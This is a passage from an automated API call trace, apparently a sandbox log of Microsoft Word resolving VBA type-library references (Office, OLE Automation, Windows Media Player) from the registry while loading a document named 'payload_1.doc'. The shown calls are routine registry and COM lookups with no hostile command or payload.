phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c6) returned 0x0 [0093.892] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12ca) returned 0x0 [0093.893] RegCloseKey (hKey=0x12ca) returned 0x0 [0093.893] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.893] _ultow_s (in: _Value=0x9, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0093.893] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="9", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c6) returned 0x0 [0093.893] RegQueryValueW (in: hKey=0x12c6, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0093.893] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0093.893] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.893] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.893] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.894] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.894] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12b2) returned 0x0 [0093.894] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12be) returned 0x0 [0093.894] RegEnumKeyW (in: hKey=0x12be, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="8.7") returned 0x0 [0093.894] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0093.895] RegOpenKeyW (in: hKey=0x12be, lpSubKey="8.7", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c6) returned 0x0 [0093.895] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.895] RegOpenKeyA (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0093.895] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0093.895] RegCloseKey (hKey=0x12d6) returned 0x0 [0093.895] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.895] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.895] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0093.896] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xb5690f3cc4) returned 0x0 [0093.896] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0093.896] RegCloseKey (hKey=0x12ca) returned 0x0 [0093.896] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.896] RegCloseKey (hKey=0x12be) returned 0x0 [0093.896] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.897] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12b2) returned 0x0 [0093.897] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12be) returned 0x0 [0093.897] RegEnumKeyW (in: hKey=0x12be, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="1.0") returned 0x0 [0093.897] RegEnumKeyW (in: hKey=0x12be, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.0") returned 0x0 [0093.897] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0093.897] RegOpenKeyW (in: hKey=0x12be, lpSubKey="2.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12ba) returned 0x0 [0093.897] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.897] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c6) returned 0x0 [0093.898] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12c2) returned 0x0 [0093.898] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.898] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.898] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.898] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c6) returned 0x0 [0093.898] RegQueryValueW (in: hKey=0x12c6, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Windows\\System32\\stdole2.tlb", lpcbData=0xb5690f3cc4) returned 0x0 [0093.898] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0093.898] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.898] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.899] RegCloseKey (hKey=0x12be) returned 0x0 [0093.899] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.899] _wfullpath (in: _Buffer=0xb5690f3fc0, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop\\Normal") returned="C:\\Users\\FD1HVy\\Desktop\\Normal" [0093.899] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12b2) returned 0x0 [0093.899] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12ba) returned 0x0 [0093.899] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.6") returned 0x0 [0093.900] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.7") returned 0x0 [0093.900] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x2, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.8") returned 0x0 [0093.900] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0093.900] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="2.8", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c2) returned 0x0 [0093.901] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.901] RegOpenKeyA (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0093.901] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0093.901] RegCloseKey (hKey=0x12d6) returned 0x0 [0093.901] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.901] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.901] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0093.902] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0093.902] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0093.902] RegCloseKey (hKey=0x12ca) returned 0x0 [0093.902] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.902] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.902] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.903] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12b2) returned 0x0 [0093.903] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{0D452EE1-E08F-101A-852E-02608C4D0BB4}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12be) returned 0x0 [0093.903] RegEnumKeyW (in: hKey=0x12be, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.0") returned 0x0 [0093.903] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0093.903] RegOpenKeyW (in: hKey=0x12be, lpSubKey="2.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c6) returned 0x0 [0093.903] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.903] RegOpenKeyA (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0093.904] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0093.904] RegCloseKey (hKey=0x12d6) returned 0x0 [0093.904] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.904] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.904] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0093.904] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\WINDOWS\\system32\\FM20.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0093.905] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\WINDOWS\\system32\\FM20.DLL" | out: _Destination="C:\\WINDOWS\\system32\\FM20.DLL") returned 0x0 [0093.905] RegCloseKey (hKey=0x12ca) returned 0x0 [0093.905] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.905] RegCloseKey (hKey=0x12be) returned 0x0 [0093.905] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.905] wcsncpy_s (in: _Destination=0x2764b4109f8, _SizeInWords=0x61, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player", _MaxCount=0x30 | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#") returned 0x0 [0093.905] wcscpy_s (in: _Destination=0x2764b410a58, _SizeInWords=0x31, _Source="C:\\WINDOWS\\SysWow64\\wmp.dll" | out: _Destination="C:\\WINDOWS\\SysWow64\\wmp.dll") returned 0x0 [0093.905] wcscpy_s (in: _Destination=0x2764b410a8e, _SizeInWords=0x16, _Source="#Windows Media Player" | out: _Destination="#Windows Media Player") returned 0x0 [0093.905] wcscpy_s (in: _Destination=0x2764b632340, _SizeInWords=0x61, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player" | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player") returned 0x0 [0093.906] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player", _MaxCount=0x106 | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player") returned 0x0 [0093.906] CharLowerBuffW (in: lpsz="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player", cchLength=0x60 | out: lpsz="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player") returned 0x60 [0093.906] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764b59d980 [0093.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player", cchWideChar=97, lpMultiByteStr=0x2764b59d980, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player", lpUsedDefaultChar=0x0) returned 97 [0093.906] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59d980) [0093.906] wcscpy_s (in: _Destination=0x2764b524ef0, _SizeInWords=0x61, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player" | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player") returned 0x0 [0093.906] wcsncpy_s (in: _Destination=0xb5690f3f10, _SizeInWords=0x108, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player", _MaxCount=0x106 | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player") returned 0x0 [0093.906] CharLowerBuffW (in: lpsz="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player", cchLength=0x60 | out: lpsz="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player") returned 0x60 [0093.906] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc2) returned 0x2764b59db20 [0093.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player", cchWideChar=97, lpMultiByteStr=0x2764b59db20, cbMultiByte=194, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{6bf52a50-394a-11d3-b153-00c04f79faa6}#1.0#0#c:\\windows\\syswow64\\wmp.dll#windows media player", lpUsedDefaultChar=0x0) returned 97 [0093.906] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59db20) [0093.906] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.906] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e00, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.906] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0093.906] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.906] wcscpy_s (in: _Destination=0x2764b6327a0, _SizeInWords=0x7a, _Source="*\\G{9C7095F1-455A-42EF-8A31-E7F6E5B18FB8}#1.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player" | out: _Destination="*\\G{9C7095F1-455A-42EF-8A31-E7F6E5B18FB8}#1.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player") returned 0x0 [0093.906] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x276455a47b0 [0093.906] wcscpy_s (in: _Destination=0x2764b4109f8, _SizeInWords=0x61, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player" | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\SysWow64\\wmp.dll#Windows Media Player") returned 0x0 [0093.907] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3ac0 | out: phkResult=0xb5690f3ac0*=0x12b2) returned 0x0 [0093.907] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{6BF52A50-394A-11D3-B153-00C04F79FAA6}", phkResult=0xb5690f3ab8 | out: phkResult=0xb5690f3ab8*=0x12be) returned 0x0 [0093.907] RegEnumKeyW (in: hKey=0x12be, dwIndex=0x0, lpName=0xb5690f3ae8, cchName=0xa | out: lpName="1.0") returned 0x0 [0093.907] wcscpy_s (in: _Destination=0xb5690f3ad0, _SizeInWords=0xa, _Source="1.0" | out: _Destination="1.0") returned 0x0 [0093.907] RegOpenKeyW (in: hKey=0x12be, lpSubKey="1.0", phkResult=0xb5690f3b78 | out: phkResult=0xb5690f3b78*=0x12ba) returned 0x0 [0093.907] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3af0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.908] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3ae0 | out: phkResult=0xb5690f3ae0*=0x12c6) returned 0x0 [0093.908] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3ae8 | out: phkResult=0xb5690f3ae8*=0x0) returned 0x2 [0093.908] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win32", phkResult=0xb5690f3ae8 | out: phkResult=0xb5690f3ae8*=0x12c2) returned 0x0 [0093.908] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.908] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.908] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3b80, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.908] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3b58 | out: phkResult=0xb5690f3b58*=0x12c6) returned 0x0 [0093.908] RegQueryValueW (in: hKey=0x12c6, lpSubKey="win64", lpData=0xb5690f3ba0, lpcbData=0xb5690f3b54 | out: lpData="", lpcbData=0xb5690f3b54) returned 0x2 [0093.909] RegQueryValueW (in: hKey=0x12c6, lpSubKey="win32", lpData=0xb5690f3ba0, lpcbData=0xb5690f3b54 | out: lpData="C:\\WINDOWS\\system32\\wmp.dll", lpcbData=0xb5690f3b54) returned 0x0 [0093.909] wcscpy_s (in: _Destination=0x276455a47b0, _SizeInWords=0x800, _Source="C:\\WINDOWS\\system32\\wmp.dll" | out: _Destination="C:\\WINDOWS\\system32\\wmp.dll") returned 0x0 [0093.909] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.909] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.909] RegCloseKey (hKey=0x12be) returned 0x0 [0093.909] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.909] LoadTypeLib (in: szFile="C:\\WINDOWS\\system32\\wmp.dll", pptlib=0xb5690f41c8*=0x0 | out: pptlib=0xb5690f41c8*=0x2764b6d0130) returned 0x0 [0094.053] IUnknown:QueryInterface (in: This=0x2764b6d0130, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3fc8 | out: ppvObject=0xb5690f3fc8*=0x0) returned 0x80004002 [0094.053] ITypeLib:RemoteGetLibAttr (in: This=0x2764b6d0130, ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8 | out: ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8*=0x0) returned 0x0 [0094.053] ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0130, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3fb8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b410a56 | out: pBstrName=0xb5690f3fb8*="Windows Media Player", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b410a56) returned 0x0 [0094.053] StringFromGUID2 (in: rguid=0x2764ad02420*(Data1=0x6bf52a50, Data2=0x394a, Data3=0x11d3, Data4=([0]=0xb1, [1]=0x53, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x79, [6]=0xfa, [7]=0xa6)), lpsz=0xb5690f3fe0, cchMax=39 | out: lpsz="{6BF52A50-394A-11D3-B153-00C04F79FAA6}") returned 39 [0094.053] _ultow_s (in: _Value=0x1, _Buffer=0xb5690f3f2a, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0094.053] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f2e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.053] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f32, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b4127f8, _SizeInWords=0x61, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b4127fe, _SizeInWords=0x5e, _Source="{6BF52A50-394A-11D3-B153-00C04F79FAA6}" | out: _Destination="{6BF52A50-394A-11D3-B153-00C04F79FAA6}") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b41284a, _SizeInWords=0x38, _Source="#1.0#0#" | out: _Destination="#1.0#0#") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b412858, _SizeInWords=0x31, _Source="C:\\WINDOWS\\system32\\wmp.dll" | out: _Destination="C:\\WINDOWS\\system32\\wmp.dll") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b412890, _SizeInWords=0x15, _Source="Windows Media Player" | out: _Destination="Windows Media Player") returned 0x0 [0094.053] ITypeLib:LocalReleaseTLibAttr (This=0x2764b6d0130) returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x276455a47b0, _SizeInWords=0x800, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player" | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player") returned 0x0 [0094.053] wcscpy_s (in: _Destination=0x2764b6328d8, _SizeInWords=0x61, _Source="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player" | out: _Destination="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player") returned 0x0 [0094.053] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455a47b0) [0094.053] IUnknown:AddRef (This=0x2764b6d0130) returned 0x2 [0094.053] IUnknown:QueryInterface (in: This=0x2764b6d0130, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4228 | out: ppvObject=0xb5690f4228*=0x0) returned 0x80004002 [0094.054] IUnknown:Release (This=0x2764b6d0130) returned 0x1 [0094.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WMPLib", cchWideChar=7, lpMultiByteStr=0xb5690f41b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPLib", lpUsedDefaultChar=0x0) returned 7 [0094.054] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="WMPLib") returned 0x40dafe [0094.054] strcpy_s (in: _Dst=0xb5690f3f90, _DstSize=0x7, _Src="WMPLib" | out: _Dst="WMPLib") returned 0x0 [0094.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3f90, cbMultiByte=7, lpWideCharStr=0xb5690f3de0, cchWideChar=7 | out: lpWideCharStr="WMPLib") returned 7 [0094.054] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0094.054] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0094.054] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0094.054] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0094.054] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0094.054] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0094.054] IUnknown:AddRef (This=0x276454c16e0) returned 0x2 [0094.054] ITypeLib:RemoteIsName (in: This=0x276454c16e0, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x276454c16e0) returned 0x1 [0094.054] IUnknown:AddRef (This=0x2763beee850) returned 0x2 [0094.054] ITypeLib:RemoteIsName (in: This=0x2763beee850, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x2763beee850) returned 0x1 [0094.054] IUnknown:AddRef (This=0x2764b6d0130) returned 0x2 [0094.054] 